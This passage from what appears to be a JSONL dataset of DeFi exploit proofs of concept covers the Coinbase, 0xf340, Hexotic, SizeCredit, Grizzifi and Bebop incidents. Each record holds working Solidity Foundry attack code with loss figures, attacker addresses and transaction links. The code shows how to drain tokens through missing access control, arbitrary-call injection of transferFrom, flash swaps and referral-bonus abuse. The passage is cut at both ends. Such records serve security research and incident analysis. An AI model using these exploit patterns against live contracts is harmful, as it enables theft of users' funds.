abi.encodeWithSelector(\n bytes4(0x38c9c147),\n arg0,\n arg1,\n target,\n arg3,\n inner\n );\n return data;\n }\n}\n\nstruct AllowedSlippage {\n address payable recipient;\n IERC20 buyToken;\n uint256 minAmountOut;\n}\n\ninterface IMainnetSettler {\n function execute(AllowedSlippage calldata slippage, bytes[] calldata actions, bytes32 data)\n external\n payable\n returns (bool);\n}", "type": "exploit_poc", "protocol": "coinbase", "date": "2025-08", "file_name": "coinbase_exp.sol", "attack_vector": null, "content_hash": "ab37458294c19e6d", "collected_at": "2026-01-07T10:59:16.519156", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "300k USD", "total_lost_usd": 300000.0, "attacker_address": "https://etherscan.io/address/0xC31a49D1c4C652aF57cEFDeF248f3c55b801c649", "attack_contract": "https://etherscan.io/address/0xF0D539955974b248d763D60C3663eF272dfC6971", "vulnerable_contract": null, "attack_tx": "https://etherscan.io/tx/0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b", "postmortem_url": null, "twitter_url": "https://x.com/deeberiroz/status/1955718986894549344", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "high", "severity_raw": "300k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n // Root cause: A Coinbase fee account accidentally approved multiple ERC-20 tokens to a 0x swapper.\n // The swapper lets anyone execute arbitrary calls.\n // For example:\n // https://etherscan.io/tx/0x8df54ebe76c09cda530f1fccb591166c716000ec95ee5cb37dff997b2ee269f2\n\n // About 2 hours later (Aug-13-2025 07 PM), the attacker noticed and began exploiting it.\n AttackContract attackContract = new AttackContract();\n vm.deal(address(this), 0.01 ether);\n uint256 fund = 0.00000000000000162 ether;\n attackContract.attack{value: fund}();\n }\n}\n\ncontract AttackContract is Test {", "has_exploit_code": true, "keyinfo_total_lost": "300k USD", "keyinfo_attacker": "https://etherscan.io/address/0xC31a49D1c4C652aF57cEFDeF248f3c55b801c649", "keyinfo_attack_contract": "https://etherscan.io/address/0xF0D539955974b248d763D60C3663eF272dfC6971", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "https://etherscan.io/tx/0x33b2cb5bc3c0ccb97f0cc21e231ecb6457df242710dfce8d1b68935f0e05773b", "analysis_postmortem": "", "analysis_twitter": "https://x.com/deeberiroz/status/1955718986894549344", "funds_lost_formatted": "$300.0K", "content_richness_score": 6.81, "quality_estimate": "medium", "title": "coinbase Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 4k USD\n// Attacker : https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24\n// Attack Contract : https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36\n// Vulnerable Contract : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436\n// Attack Tx : https://etherscan.io/tx/0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436#code\n\n// @Analysis\n// Post-mortem : https://t.me/defimon_alerts/1733\n// Twitter Guy : N/A\n// Hacking God : https://t.me/defimon_alerts/1733\n\ncontract Contract0xf340 is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 23232613 - 1;\n\n IWETH weth = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 link = IERC20(0x514910771AF9Ca656af840dff83E8264EcF986CA);\n Ivictim victim = Ivictim(0xF340bd3eB3E82994CfF5B8C3493245EDbcE63436);\n IUniswapV2Router router = IUniswapV2Router(payable(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D));\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n\n //The victim contract (0xf340) lacks access control in its initVRF function allowing\n //an attacker to set an address into storage and calling the function 0x607d60e6 with \n //a 0 ether value which transfers LINK to that address set by the attacker.\n victim.initVRF(address(this), address(link));\n\n uint256 slot = 0 ether;\n for (uint256 i = 0; i < 80; i++) {\n (bool success, ) = address(victim).call(\n abi.encodeWithSelector(\n bytes4(0x607d60e6),\n slot\n )\n );\n require(success, \"call failed\");\n }\n\n uint256 attackerLinkBal = link.balanceOf(address(this));\n link.approve(address(router), attackerLinkBal);\n\n address[] memory path = new address[](2);\n path[0] = address(link);\n path[1] = address(weth);\n router.swapExactTokensForETH(attackerLinkBal, 1, path, address(this), block.timestamp + 300);\n\n\n }\n\n fallback() external payable {}\n}\n\n interface Ivictim {\n function initVRF(address arg0, address arg1) external;\n\n\n }\n\n", "type": "exploit_poc", "protocol": "0xf340", "date": "2025-08", "file_name": "0xf340_exp.sol", "attack_vector": "access_control", "content_hash": "d3b839e16d0a0eae", "collected_at": "2026-01-07T10:59:16.519208", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "4k USD", "total_lost_usd": 4000.0, "attacker_address": "https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24", "attack_contract": "https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36", "vulnerable_contract": "https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436", "attack_tx": "https://etherscan.io/tx/0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c", "postmortem_url": "https://t.me/defimon_alerts/1733", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "low", "severity_raw": "4k USD", "category": "access-control", "exploit_code": "function testExploit() public balanceLog {\n\n //The victim contract (0xf340) lacks access control in its initVRF function allowing\n //an attacker to set an address into storage and calling the function 0x607d60e6 with \n //a 0 ether value which transfers LINK to that address set by the attacker.\n victim.initVRF(address(this), address(link));\n\n uint256 slot = 0 ether;\n for (uint256 i = 0; i < 80; i++) {\n (bool success, ) = address(victim).call(\n abi.encodeWithSelector(\n bytes4(0x607d60e6),\n slot\n )\n );\n require(success, \"call failed\");\n }\n\n uint256 attackerLinkBal = link.balanceOf(address(this));\n link.approve(address(router), attackerLinkBal);\n\n address[] memory path = new address[](2);\n path[0] = address(link);\n path[1] = address(weth);\n router.swapExactTokensForETH(attackerLinkBal, 1, path, address(this), block.timestamp + 300);\n\n\n }\n\n fallback() external payable {}\n}\n\n interface Ivictim {", "has_exploit_code": true, "keyinfo_total_lost": "4k USD", "keyinfo_attacker": "https://etherscan.io/address/0xda97a086fc74b20c88bd71e12e365027e9ec2d24", "keyinfo_attack_contract": "https://etherscan.io/address/0xd76c5305d0672ce5a2cdd1e8419b900410ea1d36", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xf340bd3eb3e82994cff5b8c3493245edbce63436", "keyinfo_attack_tx": "https://etherscan.io/tx/0x103b4550a1a2bdb73e3cb5ea484880cd8bed7e4842ecdd18ed81bf67ed19e03c", "analysis_postmortem": "https://t.me/defimon_alerts/1733", "analysis_twitter": "", "funds_lost_formatted": "$4.0K", "content_richness_score": 8.24, "quality_estimate": "high", "title": "0xf340 Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 500 USD\n// Attacker : https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af46\n// Attack Contract : https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c5\n// Vulnerable Contract : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0\n// Attack Tx : https://etherscan.io/tx/0x23b69bef57656f493548a5373300f7557777f352ade8131353ff87a1b27e2bb3\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0#code\n\n// @Analysis\n// Post-mortem : https://t.me/defimon_alerts/1757\n// Twitter Guy : N/A\n// Hacking God : N/A\n\ninterface IHexotic {\n function take(bytes32 id) external payable;\n}\n\ncontract Hex is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 23260641 - 1;\n\n //address\n address constant uniswapV3HEXPool = 0x9e0905249CeEFfFB9605E034b534544684A58BE6;\n IWETH constant WETH = IWETH(payable(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2));\n IERC20 constant hexToken = IERC20(0x2b591e99afE9f32eAA6214f7B7629768c40Eeb39);\n // The address of the vulnerable 'Hexotic' contract.\n IHexotic hexotic = IHexotic(0x204B937FEaEc333E9e6d72D35f1D131f187ECeA1);\n \n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(0);\n }\n\n function testExploit() public balanceLog {\n //// Fund the test contract with 0.1 ETH to pay for gas and initial transactions.\n vm.deal(address(this), 0.1 ether);\n WETH.deposit{value: 0.037 ether}();\n \n // Initiate a flash swap on the HEX Uniswap V3 Pool.\n IPancakeV3Pool(uniswapV3HEXPool).swap(address(this),false,37000000000000000,1461446703485210103287273052203988822378723970341,\"0x00\");\n\n hexToken.approve(address(hexotic), type(uint256).max);\n \n // Call the 'take' function on the vulnerable contract twice with specific IDs.\n // This is the core of the exploit. It leverages a vulnerability in the 'hexotic' contract\n // using the flash-loaned HEX tokens to extract value.\n hexotic.take(0x0000000000000000000000000000000000000000000000000000000000000043);\n hexotic.take(0x000000000000000000000000000000000000000000000000000000000000002b); \n }\n receive() external payable {}\n\n function uniswapV3SwapCallback(int256 amount0Delta, int256 amount1Delta, bytes calldata /*_data*/) external {\n WETH.transfer(address(uniswapV3HEXPool), 37000000000000000);\n }\n}", "type": "exploit_poc", "protocol": "Hexotic", "date": "2025-08", "file_name": "Hexotic_exp.sol", "attack_vector": null, "content_hash": "8f600c9d3a00da35", "collected_at": "2026-01-07T10:59:16.519257", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "500 USD", "total_lost_usd": 500.0, "attacker_address": "https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af46", "attack_contract": "https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c5", "vulnerable_contract": "https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0", "attack_tx": "https://etherscan.io/tx/0x23b69bef57656f493548a5373300f7557777f352ade8131353ff87a1b27e2bb3", "postmortem_url": "https://t.me/defimon_alerts/1757", "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "low", "severity_raw": "500 USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //// Fund the test contract with 0.1 ETH to pay for gas and initial transactions.\n vm.deal(address(this), 0.1 ether);\n WETH.deposit{value: 0.037 ether}();\n \n // Initiate a flash swap on the HEX Uniswap V3 Pool.\n IPancakeV3Pool(uniswapV3HEXPool).swap(address(this),false,37000000000000000,1461446703485210103287273052203988822378723970341,\"0x00\");\n\n hexToken.approve(address(hexotic), type(uint256).max);\n \n // Call the 'take' function on the vulnerable contract twice with specific IDs.\n // This is the core of the exploit. It leverages a vulnerability in the 'hexotic' contract\n // using the flash-loaned HEX tokens to extract value.\n hexotic.take(0x0000000000000000000000000000000000000000000000000000000000000043);\n hexotic.take(0x000000000000000000000000000000000000000000000000000000000000002b); \n }\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "500 USD", "keyinfo_attacker": "https://etherscan.io/address/0x07185a9e74f8dceb7d6487400e4009ff76d1af46", "keyinfo_attack_contract": "https://etherscan.io/address/0x6e0113c4f1de65b98381baa6443b20834b70d4c5", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x03339ecae41bc162dacae5c2a275c8f64d6c80a0", "keyinfo_attack_tx": "https://etherscan.io/tx/0x23b69bef57656f493548a5373300f7557777f352ade8131353ff87a1b27e2bb3", "analysis_postmortem": "https://t.me/defimon_alerts/1757", "analysis_twitter": "", "funds_lost_formatted": "$500", "content_richness_score": 7.38, "quality_estimate": "medium", "title": "Hexotic Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": true} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 19.7k USD\n// Attacker : https://etherscan.io/address/0xa7e9b982b0e19a399bc737ca5346ef0ef12046da\n// Attack Contract : https://etherscan.io/address/0xa6dc1fc33c03513a762cdf2810f163b9b0fd3a71\n// Vulnerable Contract : https://etherscan.io/address/0xf4a21ac7e51d17a0e1c8b59f7a98bb7a97806f14\n// Attack Tx : https://etherscan.io/tx/0xc7477d6a5c63b04d37a39038a28b4cbaa06beb167e390d55ad4a421dbe4067f8\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xf4a21ac7e51d17a0e1c8b59f7a98bb7a97806f14#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/SuplabsYi/status/1956306748073230785\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant PT_WSTUSR = 0x23E60d1488525bf4685f53b3aa8E676c30321066;\naddress constant LEVERAGE_UP = 0xF4a21Ac7e51d17A0e1C8B59f7a98bb7A97806f14;\naddress constant VICTIM = 0x83eCCb05386B2d10D05e1BaEa8aC89b5B7EA8290;\n\ncontract SizeCredit is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 23145764 - 1;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n fundingToken = PT_WSTUSR;\n }\n\n function testExploit() public balanceLog {\n // Root cause: leverageUpWithSwap lacks check of given data, attacker passed malicious data to execute arbitrary calls\n IERC20 wstUSR = IERC20(PT_WSTUSR);\n uint256 bal = wstUSR.balanceOf(VICTIM);\n uint256 allowance = wstUSR.allowance(VICTIM, LEVERAGE_UP);\n uint256 amount = bal;\n if (allowance < amount) {\n amount = allowance;\n }\n\n SellCreditMarketParams[] memory marketParams = new SellCreditMarketParams[](1);\n uint256 max = type(uint256).max;\n marketParams[0] = SellCreditMarketParams({\n lender: address(this),\n creditPositionId: max,\n amount: max,\n tenor: max,\n deadline: max,\n maxAPR: max,\n exactAmountIn: true\n });\n SwapParams[] memory swapParams = new SwapParams[](1);\n\n bytes memory inner = abi.encodeWithSelector(\n bytes4(keccak256(\"transferFrom(address,address,uint256)\")),\n VICTIM,\n address(this),\n amount\n );\n bytes memory data = abi.encode(\n 32,\n PT_WSTUSR,\n address(this),\n inner\n );\n\n // Change 0x80 to 0x60\n data[127] = hex\"60\";\n // console.logBytes(data);\n\n swapParams[0] = SwapParams({\n method: SwapMethod.GenericRoute,\n data: data\n });\n\n ILeverageUp(LEVERAGE_UP).leverageUpWithSwap(\n address(this),\n marketParams,\n address(this),\n 0,\n 1 ether,\n 0,\n swapParams\n );\n }\n\n function riskConfig() public view returns (uint256, uint256, uint256, uint256, uint256, uint256) {\n return (\n 1 ether + 1,\n type(uint256).max,\n 0,\n type(uint256).max,\n 0,\n type(uint256).max\n );\n }\n \n function data() public returns(uint256, uint256, address, address, address, address, address, address) {\n return (\n type(uint256).max,\n type(uint256).max,\n PT_WSTUSR,\n address(this),\n address(this),\n address(this),\n address(this),\n address(this)\n );\n }\n function oracle() public returns(address, uint64) {\n return (address(this), uint64(0));\n }\n function getPrice() public returns(uint256) {\n return 1 ether;\n }\n function transferFrom(address sender, address recipient, uint256 amount) public returns(bool) {\n return true;\n }\n function approve(address spender, uint256 amount) public returns(bool){\n return true;\n }\n function deposit(DepositParams memory param) public {\n }\n function balanceOf(address account) public view returns(uint256) {\n return 2;\n }\n function debtTokenAmountToCollateralTokenAmount(uint256 borrowATokenAmount) public view returns(uint256) {\n return 1;\n }\n}\n\nstruct DepositParams {\n address token;\n uint256 amount;\n address to;\n}\n\nstruct SellCreditMarketParams {\n address lender;\n uint256 creditPositionId;\n uint256 amount;\n uint256 tenor;\n uint256 deadline;\n uint256 maxAPR;\n bool exactAmountIn;\n}\n\nenum SwapMethod {\n OneInch,\n Unoswap,\n UniswapV2,\n UniswapV3,\n GenericRoute,\n BoringPtSeller,\n BuyPt\n}\n\nstruct SwapParams {\n SwapMethod method;\n bytes data;\n}\n\ninterface ILeverageUp {\n function leverageUpWithSwap(\n address size,\n SellCreditMarketParams[] memory sellCreditMarketParamsArray,\n address tokenIn,\n uint256 amount,\n uint256 leveragePercent,\n uint256 borrowPercent,\n SwapParams[] memory swapParamsArray\n ) external;\n}", "type": "exploit_poc", "protocol": "SizeCredit", "date": "2025-08", "file_name": "SizeCredit_exp.sol", "attack_vector": "oracle_manipulation", "content_hash": "eb0683ba22400e82", "collected_at": "2026-01-07T10:59:16.519307", "_source": "postmortems", "chain": "ethereum", "block_number": null, "total_lost_raw": "19.7k USD", "total_lost_usd": 19700.0, "attacker_address": "https://etherscan.io/address/0xa7e9b982b0e19a399bc737ca5346ef0ef12046da", "attack_contract": "https://etherscan.io/address/0xa6dc1fc33c03513a762cdf2810f163b9b0fd3a71", "vulnerable_contract": "https://etherscan.io/address/0xf4a21ac7e51d17a0e1c8b59f7a98bb7a97806f14", "attack_tx": "https://etherscan.io/tx/0xc7477d6a5c63b04d37a39038a28b4cbaa06beb167e390d55ad4a421dbe4067f8", "postmortem_url": null, "twitter_url": "https://x.com/SuplabsYi/status/1956306748073230785", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "medium", "severity_raw": "19.7k USD", "category": "oracle-manipulation", "exploit_code": "function testExploit() public balanceLog {\n // Root cause: leverageUpWithSwap lacks check of given data, attacker passed malicious data to execute arbitrary calls\n IERC20 wstUSR = IERC20(PT_WSTUSR);\n uint256 bal = wstUSR.balanceOf(VICTIM);\n uint256 allowance = wstUSR.allowance(VICTIM, LEVERAGE_UP);\n uint256 amount = bal;\n if (allowance < amount) {\n amount = allowance;\n }\n\n SellCreditMarketParams[] memory marketParams = new SellCreditMarketParams[](1);\n uint256 max = type(uint256).max;\n marketParams[0] = SellCreditMarketParams({\n lender: address(this),\n creditPositionId: max,\n amount: max,\n tenor: max,\n deadline: max,\n maxAPR: max,\n exactAmountIn: true\n });\n SwapParams[] memory swapParams = new SwapParams[](1);\n\n bytes memory inner = abi.encodeWithSelector(\n bytes4(keccak256(\"transferFrom(address,address,uint256)\")),\n VICTIM,\n address(this),\n amount\n );\n bytes memory data = abi.encode(\n 32,\n PT_WSTUSR,\n address(this),\n inner\n );\n\n // Change 0x80 to 0x60\n data[127] = hex\"60\";\n // console.logBytes(data);\n\n swapParams[0] = SwapParams({\n method: SwapMethod.GenericRoute,\n data: data\n });\n\n ILeverageUp(LEVERAGE_UP).leverageUpWithSwap(\n address(this),\n marketParams,\n address(this),\n 0,\n 1 ether,\n 0,\n swapParams\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "19.7k USD", "keyinfo_attacker": "https://etherscan.io/address/0xa7e9b982b0e19a399bc737ca5346ef0ef12046da", "keyinfo_attack_contract": "https://etherscan.io/address/0xa6dc1fc33c03513a762cdf2810f163b9b0fd3a71", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0xf4a21ac7e51d17a0e1c8b59f7a98bb7a97806f14", "keyinfo_attack_tx": "https://etherscan.io/tx/0xc7477d6a5c63b04d37a39038a28b4cbaa06beb167e390d55ad4a421dbe4067f8", "analysis_postmortem": "", "analysis_twitter": "https://x.com/SuplabsYi/status/1956306748073230785", "funds_lost_formatted": "$19.7K", "content_richness_score": 9.53, "quality_estimate": "high", "title": "SizeCredit Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 61k USD\n// Attacker : https://bscscan.com/address/0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c\n// Attack Contract : https://bscscan.com/address/0xEd35746F389177eCD52A16987b2aaC74AA0c1128\n// Vulnerable Contract : https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b\n// Attack Tx : https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b#code\n\n// @Analysis\n// Post-mortem : N/A\n// Twitter Guy : https://x.com/MetaTrustAlert/status/1955967862276829375\n// Hacking God : N/A\npragma solidity ^0.8.0;\n\naddress constant GRIZZIFI = 0x21ab8943380B752306aBF4D49C203B011A89266B;\naddress constant BSC_USD = 0x55d398326f99059fF775485246999027B3197955;\n\ncontract Grizzifi is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 57478534 - 1;\n address[] public attackContracts = new address[](30);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n deal(BSC_USD, address(this), 600 ether);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = BSC_USD;\n }\n\n function testExploit() public balanceLog {\n //implement exploit code here\n\n // Step 1: create 30 attack contracts and send 20 bsc-usd to each attack contract\n // https://bscscan.com/tx/0x4302de51c8126e7934da9be1affbde73e5153fe1f9d0200a738a269fe07d22c7\n for (uint256 i = 0; i < 30; i++) {\n AttackContract1 ac1 = new AttackContract1();\n attackContracts[i] = address(ac1);\n IERC20(BSC_USD).transfer(address(ac1), 20 ether);\n }\n\n // Step 2: run grizzifi.harvestHoney\n // https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1\n\n // The root cause is, in the _incrementUplineTeamCount(), \n // it checks the `totalInvested` (including withdrawn) instead of active investments\n address regCenter = address(0);\n for (uint256 i = 0; i < 30; i++) {\n address ac1 = attackContracts[i];\n AttackContract1(ac1).init(GRIZZIFI, regCenter);\n regCenter = ac1;\n }\n\n // Step 3: withdraw\n // 0xdb5296b19693c3c5032abe5c385a4f0cd14e863f3d44f018c1ed318fa20058f7\n for (uint256 i = 0; i < 30; i++) {\n // ignore the Grizzifi: No referral or milestone bonuses to claim error\n try AttackContract1(attackContracts[i]).withdraw(GRIZZIFI) {\n } catch {\n }\n }\n }\n}\n\n\ncontract AttackContract1 {\n function init(address owner, address regCenter) public {\n IERC20 bscUsd = IERC20(BSC_USD);\n IGrizzifi grizzifi = IGrizzifi(owner);\n\n bscUsd.approve(owner, type(uint256).max);\n grizzifi.harvestHoney(0, 10 ether, regCenter);\n\n AttackContract2 ac2 = new AttackContract2();\n bscUsd.transfer(address(ac2), 10 ether);\n ac2.run(BSC_USD, owner, regCenter);\n }\n function withdraw(address token) public {\n IGrizzifi(token).collectRefBonus();\n IERC20 bscUsd = IERC20(BSC_USD);\n bscUsd.transfer(msg.sender, bscUsd.balanceOf(address(this)));\n }\n}\n\ncontract AttackContract2 {\n function run(address token, address router0, address router1) public {\n IERC20(token).approve(router0, type(uint256).max);\n IGrizzifi(router0).harvestHoney(0, 10 ether, router1);\n }\n}\n\ninterface IGrizzifi {\n function harvestHoney(uint256 _planId, uint256 _amount, address _referrer) external;\n function collectRefBonus() external;\n}\n ", "type": "exploit_poc", "protocol": "Grizzifi", "date": "2025-08", "file_name": "Grizzifi_exp.sol", "attack_vector": null, "content_hash": "9a167ed731c822c4", "collected_at": "2026-01-07T10:59:16.519368", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "61k USD", "total_lost_usd": 61000.0, "attacker_address": "https://bscscan.com/address/0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c", "attack_contract": "https://bscscan.com/address/0xEd35746F389177eCD52A16987b2aaC74AA0c1128", "vulnerable_contract": "https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b", "attack_tx": "https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1", "postmortem_url": null, "twitter_url": "https://x.com/MetaTrustAlert/status/1955967862276829375", "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": "61k USD", "category": "unknown", "exploit_code": "function testExploit() public balanceLog {\n //implement exploit code here\n\n // Step 1: create 30 attack contracts and send 20 bsc-usd to each attack contract\n // https://bscscan.com/tx/0x4302de51c8126e7934da9be1affbde73e5153fe1f9d0200a738a269fe07d22c7\n for (uint256 i = 0; i < 30; i++) {\n AttackContract1 ac1 = new AttackContract1();\n attackContracts[i] = address(ac1);\n IERC20(BSC_USD).transfer(address(ac1), 20 ether);\n }\n\n // Step 2: run grizzifi.harvestHoney\n // https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1\n\n // The root cause is, in the _incrementUplineTeamCount(), \n // it checks the `totalInvested` (including withdrawn) instead of active investments\n address regCenter = address(0);\n for (uint256 i = 0; i < 30; i++) {\n address ac1 = attackContracts[i];\n AttackContract1(ac1).init(GRIZZIFI, regCenter);\n regCenter = ac1;\n }\n\n // Step 3: withdraw\n // 0xdb5296b19693c3c5032abe5c385a4f0cd14e863f3d44f018c1ed318fa20058f7\n for (uint256 i = 0; i < 30; i++) {\n // ignore the Grizzifi: No referral or milestone bonuses to claim error\n try AttackContract1(attackContracts[i]).withdraw(GRIZZIFI) {\n } catch {\n }\n }\n }\n}\n\n\ncontract AttackContract1 {", "has_exploit_code": true, "keyinfo_total_lost": "61k USD", "keyinfo_attacker": "https://bscscan.com/address/0xe2336b08a43f87a4ac8de7707ab7333ba4dbaf7c", "keyinfo_attack_contract": "https://bscscan.com/address/0xEd35746F389177eCD52A16987b2aaC74AA0c1128", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0x21ab8943380b752306abf4d49c203b011a89266b", "keyinfo_attack_tx": "https://bscscan.com/tx/0x36438165d701c883fd9a03631ee0cdeec35a138153720006ab59264db7e075c1", "analysis_postmortem": "", "analysis_twitter": "https://x.com/MetaTrustAlert/status/1955967862276829375", "funds_lost_formatted": "$61.0K", "content_richness_score": 7.92, "quality_estimate": "medium", "title": "Grizzifi Exploit (2025-08)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"../basetest.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 21k USD\n// Attacker : 0x59537353248d0b12c7fcca56a4e420ffec4abc91\n// Attack Contract : 0x091101b0f31833c03dddd5b6411e62a212d05875\n// Vulnerable Contract : 0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6\n// Attack Tx : https://arbiscan.io/tx/0xe5f8fe69b38613a855dbcb499a2c4ecffe318c620a4c4117bd0e298213b7619d\n\n// @Info\n// Vulnerable Contract Code : https://arbiscan.io/address/0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6#code\n\n// @Analysis\n// Post-mortem : https://x.com/SuplabsYi/status/1955230173365961128\n// Twitter Guy : https://x.com/SuplabsYi/status/1955230173365961128\n// Hacking God : https://x.com/SuplabsYi/status/1955230173365961128\npragma solidity ^0.8.0;\n\nstruct JamOrder {\n address taker;\n address receiver;\n uint256 expiry;\n uint256 exclusivityDeadline;\n uint256 nonce;\n address executor;\n uint256 partnerInfo;\n address[] sellTokens;\n address[] buyTokens;\n uint256[] sellAmounts;\n uint256[] buyAmounts;\n bool usingPermit2;\n}\n\nstruct JamInteraction {\n bool result;\n address to;\n uint256 value;\n bytes data;\n}\n\n\ncontract Bebop is BaseTestWithBalanceLog {\n uint256 blocknumToForkFrom = 367586045 - 1;\n address private usdc = 0xaf88d065e77c8cC2239327C5EDb3A432268e5831;\n IJamSettlement jamContract = IJamSettlement(0xbeb0b0623f66bE8cE162EbDfA2ec543A522F4ea6);\n \n \n function setUp() public {\n vm.createSelectFork(\"arbitrum\", blocknumToForkFrom);\n //Change this to the target token to get token balance of,Keep it address 0 if its ETH that is gotten at the end of the exploit\n fundingToken = address(usdc);\n \n }\n\n function testExploit() public balanceLog {\n // 1. Construct the JamOrder struct\n JamOrder memory order = JamOrder({\n taker: address(this),\n receiver: address(this),\n expiry: 1754987701,\n exclusivityDeadline: 0,\n nonce: 1,\n executor: address(this),\n partnerInfo: 0,\n sellTokens: new address[](0),\n buyTokens: new address[](0),\n sellAmounts: new uint256[](0),\n buyAmounts: new uint256[](0),\n usingPermit2: false\n });\n\n // 2. Define the signature (empty as provided)\n bytes memory signature = hex\"\";\n\n // Interaction 1 arguments\n address fromAddress1 = 0x0c06E0737e81666023bA2a4A10693e93277Cbbf1;\n uint256 amount1 = 0x4ac2def8f; // 20,134,500,015\n\n // Interaction 2 arguments\n address fromAddress2 = 0xe7Ee27D53578704825Cddd578cd1f15ea93eb6Fd;\n uint256 amount2 = 0xf4240; // 1,000,000\n\n // This 'to' address is the same in both interactions\n address sharedToAddress = address(this);\n\n // AFTER: Dynamically encode the call using the interface\n bytes memory interaction1Data = abi.encodeCall(\n IERC20.transferFrom, // The function pointer\n (fromAddress1, sharedToAddress, amount1) // The arguments as a tuple\n );\n\n bytes memory interaction2Data = abi.encodeCall(\n IERC20.transferFrom, // The function pointer\n (fromAddress2, 